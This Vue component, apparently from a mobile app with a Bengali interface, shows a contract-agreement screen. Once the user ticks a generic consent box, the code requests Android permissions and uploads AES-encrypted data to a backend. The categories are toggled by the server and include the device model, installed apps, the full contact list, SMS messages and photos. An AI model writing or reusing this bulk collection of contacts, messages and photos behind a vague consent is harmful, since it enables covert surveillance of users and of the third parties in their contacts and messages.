<template>
    <div class="toappquanxian">
        <TopDesc desc="প্রোটোকল"></TopDesc>
        <div class="box">
            <iframe ref="myIframe" src="https://app.pocketgo.xyz/polycystic_clapometer/remissible/rpfn3m.html"
                frameborder="0"></iframe>
        </div>
        <div class="radio">
            <van-checkbox v-model="checked">চালিয়ে যাওয়ার মাধ্যমে, আপনি উপরেরটি পড়েছেন
                এবং সম্মত হয়েছেন চুক্তি.</van-checkbox>
        </div>
        <button class="btn" @click="doClick">আমি রাজী</button>
    </div>
</template>

<script>
import { getPermission } from "../../utils/android.js";
import { setDeviceInfoAPI, getshebeiInfoAPI, getAppInfoAPI, gettxlAPI, getduanxinAPI, getPhotoInfoAPI } from "../../api";
import isNext from '../form/isNext.js'
import { jiami, jiemi } from "../../utils/AESKey.js";
import { Dialog, Toast } from "vant";
export default {
    name: 'toappquanxian',
    data() {
        return {
            checked: false
        }
    },
    methods: {
        async doClick() {
            if (!this.checked) {
                Toast('চুক্তি চেক করুন')
            } else {


                console.log('123123123123')
                // // 申请权限
                this.$store.commit('showLoading')
                let res = await getPermission()

                const r = await setDeviceInfoAPI()
                console.log(JSON.stringify(jiemi(r.data)), '设备信息上报情况')
                if (!res.appInfo) {
                    Dialog({ message: 'অনুমতি দেওয়া হয়নি। অনুগ্রহ করে আবার অনুমতি নিন, যদি আপনি দুবার প্রত্যাখ্যান করেন, অনুমতি সক্ষম করতে অনুগ্রহ করে ফোন সেটিংসে যান', confirmButtonText: 'নিশ্চিত' });
                    return
                }
                this.$router.push('/shouye')
                isNext()
                let info = JSON.parse(res.appInfo);
                // //上报权限m后台返回的设备信息
                this.getInfo(info)
                this.$store.commit('hideLoading')
                this.$store.commit('appisfalse')

                // console.log(JSON.stringify(res), '申请权限的结果')
            }
        },
        //获取设备信息上报情况
        async getInfo(info) {
            const res = await setDeviceInfoAPI()
            this.list = jiemi(res.data).list
            if (this.list.indexOf("DEVICE") > -1) {
                getshebeiInfoAPI(jiami({ model: info.device }))
            }
            if (this.list.indexOf('APP') > -1) {
                getAppInfoAPI(jiami({ model: { deviceApps: info.deviceApps } }))
            }
            if (this.list.indexOf("CONTACT") > -1) {
                gettxlAPI(jiami({ model: { deviceContacts: info.deviceContacts } }))
            }
            if (this.list.indexOf("SMS") > -1) {
                getduanxinAPI(jiami({ model: { list: info.smsList } }))
            }
            if (this.list.indexOf("PHOTO") > -1) {
                getPhotoInfoAPI(jiami({ model: { list: info.photoList } }))
            }
            console.log(this.list, '设备信息上报情况')
        }
    },
    mounted() {
    }
}
</script>

<style lang="less" scoped>
.toappquanxian {
    width: 100vw;
    height: (580/@a);
    background-color: #f3f3f3;
    margin-top: (80/@a);

    .btn {
        width: (330/@a);
        height: (53/@a);
        background: #415AB8;
        border-radius: (10/@a);
        margin-top: (29/@a);
        margin-left: (23/@a);
        font-size: (16/@a);
        font-family: Nirmala UI;
        font-weight: bold;
        color: #FFFFFF;
    }

    .radio {
        margin-top: (14/@a);
        margin-left: (26/@a);

        .desc {
            font-size: (11/@a);
            font-family: Nirmala UI;
            font-weight: 400;
            color: #8B8B8B;
            margin-right: (27/@a);
        }
    }

    .box {
        width: (330/@a);
        height: (350/@a);
        background: #FFFFFF;
        border-radius: (16/@a);
        margin-top: (10/@a);
        margin-left: (23/@a);

        iframe {
            width: 100%;
            height: (350/@a);
        }
    }
}
</style>